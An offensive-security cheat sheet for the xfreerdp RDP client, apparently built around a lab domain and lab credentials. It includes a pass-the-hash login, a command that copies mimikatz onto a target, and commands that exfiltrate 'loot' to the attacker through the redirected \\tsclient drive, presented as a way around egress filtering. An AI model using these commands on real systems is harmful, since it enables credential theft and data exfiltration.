title: "xfreerdp" description: "FreeRDP command-line RDP client โ connection flags, drive redirection, and finding the \tsclient shared folder from a CLI-only Windows session." category: tools tags: ["tools", "rdp", "lateral-movement", "file-transfers"] tools: ["FreeRDP"] difficulty: beginner updated: "2026-08-29"#
๐ฅ๏ธ xfreerdp Cheat Sheet#
๐ Connecting#
# โโ Basic connection โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!'
# โโ Domain account + port + ignore cert prompts โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
xfreerdp3 /v:172.16.8.20:3389 /d:inlanefreight.local /u:hporter /p:'Gr8hambino!' /cert:ignore
# โโ Pass-the-hash โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
xfreerdp3 /v:172.16.8.20 /u:hporter /pth:2b576acbe6bcfda7294d6bd18041b8fe /cert:ignore
# โโ Useful quality-of-life flags โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
/cert:ignore \ # don't prompt on self-signed certs
+clipboard \ # shared clipboard both ways
/dynamic-resolution \ # resize window = resize session
/size:1920x1080 \ # or fixed resolution ( /f for fullscreen )
/admin # console session (mstsc /admin equivalent)
โ ๏ธ FreeRDP warns that
/pexposes the password in the process list. Use/args-from:file(all flags in a file) or omit/pand type it at the prompt on shared systems.
๐ Drive Redirection โ Share a Local Folder#
# โโ Share /home/daemon-sec/void as a drive named "home" โโโโโโโโโโโโโโโโโโโโโโโ
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
/drive:home,/home/daemon-sec/void
# โโ Path with spaces: quote the whole path part โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
/drive:tools,"/home/daemon-sec/voidwalker/tools/windows/ad"
# โโ Syntax: /drive:<NAME_ON_WINDOWS>,<LOCAL_LINUX_PATH> โโโโโโโโโโโโโโโโโโโโโ
The name you choose (home, tools, โฆ) is how the share appears on the Windows side.
๐ Finding the Shared Folder on Windows#
GUI session#
Open Explorer โ This PC โ the share shows up as a Redirected drive named e.g. home on AZRAEL. It's also reachable directly via the UNC path below.
CLI-only session (Server Core, restricted desktop, cmd.exe window)#
The share is not a drive letter โ it lives under the \\tsclient\ UNC path:
:: List all redirected drives (name you passed to /drive:)
dir \\tsclient\
:: Browse the share
dir \\tsclient\home
:: Copy tool from Kali โ target
copy \\tsclient\home\mimikatz.exe C:\Temp\mimikatz.exe
:: Exfiltrate loot target โ Kali
copy C:\Temp\loot.txt \\tsclient\home\loot.txt
# โโ PowerShell equivalents โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Get-ChildItem \\tsclient\home
Copy-Item \\tsclient\home\tool.exe C:\Temp\
Copy-Item C:\Temp\loot.txt \\tsclient\home\
# โโ See redirected drives as PSDrives โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
net use
Get-PSDrive -PSProvider FileSystem
๐ก No
\\tsclientshowing? Drive redirection can be disabled by GPO (Do not allow drive redirection) or you forgot/drive:on connect โ disconnect and reconnect with it. Also trynet useto confirm what the session actually mounted.
๐ฏ Why This Beats Other Transfer Methods#
- No extra listener โ rides inside the RDP session itself, no SMB/HTTP server needed
- Bidirectional โ same share for uploading tools and pulling loot
- Works when egress is filtered โ port 3389 is already allowed
- +clipboard handles small text loot (hashes, creds) with zero files
โ xfreerdp complete.